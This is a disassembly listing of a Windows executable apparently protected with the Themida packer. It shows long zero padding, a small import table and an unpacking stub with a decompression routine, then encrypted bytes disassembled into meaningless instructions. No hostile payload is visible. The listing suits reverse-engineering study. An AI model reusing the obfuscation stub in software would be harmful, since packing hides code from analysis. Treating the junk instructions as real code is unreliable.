db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
_rsrc___ ends
; Section 3. (virtual address 000E0000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4E0000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0E0050h, 0E0000h, 3 dup(0)
dd 0E0079h, 0E000Ch, 3 dup(0)
db 0
byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385ACo
align 10h
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000E1000)
; Virtual size : 00100000 (1048576.)
; Section size in file : 00100000 (1048576.)
; Offset to raw data for section: 000E1000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 4E1000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 43495360h, 41179h, 54140h, 96172h, 0
; ---------------------------------------------------------------------------
mov eax, 0
pusha
or eax, eax
jz short loc_4E1086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E1041
popa
jmp short loc_4E1076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
db 10h, 4Eh, 0
dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------
loc_4E1041: ; CODE XREF: Themida_:004E102Cj
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_4E104E: ; CODE XREF: Themida_:004E1072j
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4E106D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E1074
loc_4E106D: ; CODE XREF: Themida_:004E1059j
sub eax, 1000h
jmp short loc_4E104E
; ---------------------------------------------------------------------------
loc_4E1074: ; CODE XREF: Themida_:004E106Bj
mov edi, eax
loc_4E1076: ; CODE XREF: Themida_:004E102Fj
jmp loc_4E1265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 0E126Ah
add ecx, edi
jmp short loc_4E1090
; ---------------------------------------------------------------------------
loc_4E1086: ; CODE XREF: Themida_:004E101Cj
mov eax, offset loc_54B46B
mov ecx, offset word_4E126A
loc_4E1090: ; CODE XREF: Themida_:004E1084j
push eax
push ecx
call sub_4E111B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E1265
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E111B proc near ; CODE XREF: Themida_:004E1092p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E1132: ; CODE XREF: sub_4E111B+7Aj
; sub_4E111B+C3j ...
add dl, dl
jnz short loc_4E113B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E113B: ; CODE XREF: sub_4E111B+19j
jnb short loc_4E1127
add dl, dl
jnz short loc_4E1146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1146: ; CODE XREF: sub_4E111B+24j
jnb short loc_4E1197
xor eax, eax
add dl, dl
jnz short loc_4E1153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1153: ; CODE XREF: sub_4E111B+31j
jnb loc_4E1238
add dl, dl
jnz short loc_4E1162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1162: ; CODE XREF: sub_4E111B+40j
adc eax, eax
add dl, dl
jnz short loc_4E116D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E116D: ; CODE XREF: sub_4E111B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E1178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1178: ; CODE XREF: sub_4E111B+56j
adc eax, eax
add dl, dl
jnz short loc_4E1183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1183: ; CODE XREF: sub_4E111B+61j
adc eax, eax
jz short loc_4E118D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E118D: ; CODE XREF: sub_4E111B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j
mov eax, 1
loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j
add dl, dl
jnz short loc_4E11A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11A5: ; CODE XREF: sub_4E111B+83j
adc eax, eax
add dl, dl
jnz short loc_4E11B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej
jb short loc_4E119C
sub eax, ebx
mov ebx, 1
jnz short loc_4E11E3
mov ecx, 1
loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j
add dl, dl
jnz short loc_4E11C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11C9: ; CODE XREF: sub_4E111B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E11D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11D4: ; CODE XREF: sub_4E111B+B2j
jb short loc_4E11C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j
add dl, dl
jnz short loc_4E11FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11FA: ; CODE XREF: sub_4E111B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E1205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1205: ; CODE XREF: sub_4E111B+E3j
jb short loc_4E11F1
cmp eax, 7D00h
jnb short loc_4E1228
cmp eax, 500h
jb short loc_4E1223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1223: ; CODE XREF: sub_4E111B+F8j
cmp eax, 7Fh
ja short loc_4E122B
loc_4E1228: ; CODE XREF: sub_4E111B+F1j
add ecx, 2
loc_4E122B: ; CODE XREF: sub_4E111B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E1259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1259: ; CODE XREF: sub_4E111B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E111B endp
; ---------------------------------------------------------------------------
loc_4E1265: ; CODE XREF: Themida_:loc_4E1076j
; Themida_:004E10B1j
jmp loc_54B46B
; ---------------------------------------------------------------------------
word_4E126A dw 38E9h ; DATA XREF: Themida_:004E108Bo
db 90h
db 34h, 56h, 1
dd 9222AFFAh, 1EF0FE1h, 74736552h, 41CC7261h, 0F42EE270h
dd 17C2F978h, 3CA7077h, 1A31AE1h, 52AE3A84h, 0DC21E844h
dd 0DE7D2303h, 1FC22445h, 0A46DE957h, 6854807Fh, 64696D65h
dd 0FEC8614Dh, 1A622ACh, 0EFFE0BE1h, 0EE11122h, 0AE101BCh
dd 2E98E2FBh, 0CEBBAA10h, 33B81078h, 0FA43B887h, 0FC503DFDh
dd 2303DC71h, 369177D5h, 0E95D8570h, 35E640CDh, 0EF1BE103h
dd 21C58BC7h, 0C2E860D4h, 0ED815D20h, 1034019Fh, 0F5958906h
dd 0B50D8830h, 0C98541E9h, 0BD830121h, 71CD5h, 0E88B0C74h
dd 0B84CE2E4h, 78C28F09h, 0E3244470h, 20203EB9h, 0E8456A0Ch
dd 0F6829A3h, 783749Ah
; ---------------------------------------------------------------------------
dec edx
loc_4E132D: ; CODE XREF: Themida_:004E13ABj
fisttp word ptr [edx]
add esp, ds:0D20A894Bh
aad 21h
jmp near ptr 0EC981550h
; ---------------------------------------------------------------------------
db 0FAh, 1
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pop eax
out dx, al
pop edx
or [ecx+1358DEAh], al
mov ebx, edx
mov dword ptr [ebp-28h], 0E630823h
inc eax
mov [edi], ebx
or [ecx+1D80987Dh], al
jz short loc_4E1370
iret
; ---------------------------------------------------------------------------
dw 820h
dd 93F783E4h, 120CFF10h, 36E1EB43h
; ---------------------------------------------------------------------------
loc_4E1370: ; CODE XREF: Themida_:004E135Fj
fsubr qword ptr [esi+61h]
db 26h
or cl, 0C2h
add al, 80h
inc esi
add esp, 2D1FF7Ch
dec ecx
enter 0FFFF80D6h, 8Dh
inc ebp
or byte ptr [ebx-38D7F7A3h], 85h
sbb [ecx+0A408D50h], ecx
rol ebx, 1
mov ds:0B894118h, dl
adc al, 81h
mov ebp, 755D4006h
push edx
jecxz short loc_4E13CC
test [ebp-7F9BE246h], ecx
jnz short loc_4E132D
mov cl, [esi]
mov ebx, 15B92F4h
mov eax, 785437ABh
rcl eax, cl
stc
ja near ptr 0F7C35ECAh
pusha
scasd
retn
; ---------------------------------------------------------------------------
inc edi
inc esi
movsb
dec edx
mov word ptr [esi+54h], es
loc_4E13CC: ; CODE XREF: Themida_:004E13A3j
stc
inc edx
rcl dword ptr [edi+61h], 1
mov al, [eax-30h] ; CODE XREF: Themida_:004E13D4j
lock jmp short near ptr loc_4E13D1+1
; ---------------------------------------------------------------------------
adc al, 0EEh
inc ebp
cld
dec ebp
adc al, 0EBh
add al, 0ADh
jns short loc_4E13FA
inc esi
cmp byte ptr [esi], 40h
idiv dword ptr [edx+34DC84A6h]
retn
; ---------------------------------------------------------------------------
jge short loc_4E13FB
jmp short loc_4E1470
; ---------------------------------------------------------------------------
db 21h, 3Eh, 0F8h
dd 0F0126D99h
db 9, 95h
; ---------------------------------------------------------------------------
loc_4E13FA: ; CODE XREF: Themida_:004E13E0j
push cs
loc_4E13FB: ; CODE XREF: Themida_:004E13EDj
hlt
; ---------------------------------------------------------------------------
dd 0C14A0210h, 8004F065h, 0E0D1F8D6h, 0C0C27203h, 8ADB3328h
dd 8039301Ch, 0A7298FBh, 7A77390Ah, 0E4EB7D05h, 6114CF22h
dd 660A0DECh, 1EDE08FEh, 0AC39DBEh, 411A1058h, 0A0B6172h
dd 0BD067746h, 30014424h, 0F4ECF05Dh, 2E67D83h, 0CB07236h
dd 0A5766EC0h, 0F826AACCh, 8D0E9C83h, 3B01A8D4h, 820FFC55h
dd 0B0BD5378h, 387CAA83h, 0C108BAA1h, 5070C1B9h
; ---------------------------------------------------------------------------
loc_4E1470: ; CODE XREF: Themida_:004E13EFj
cld
mov ebp, 0FE80371Ch
loc_4E1476: ; CODE XREF: Themida_:004E147Aj
lsl eax, [edi+49h]
jnz short loc_4E1476
mov ecx, 0B86A8B22h
loc_4E1481: ; CODE XREF: Themida_:004E14F3j
mov ebx, 0F1FA1101h
cmp eax, [edx-3EFD9115h]
mov es, word ptr [esi+7F43929h]
push ecx
jo short loc_4E14FA
jle short loc_4E14CD
mov edi, [ecx+27DE268Ah]
jmp near ptr 8CA7986Ah
; ---------------------------------------------------------------------------
dw 6BDBh
; ---------------------------------------------------------------------------
jmp short loc_4E14F7
; ---------------------------------------------------------------------------
dw 4DBh
; ---------------------------------------------------------------------------
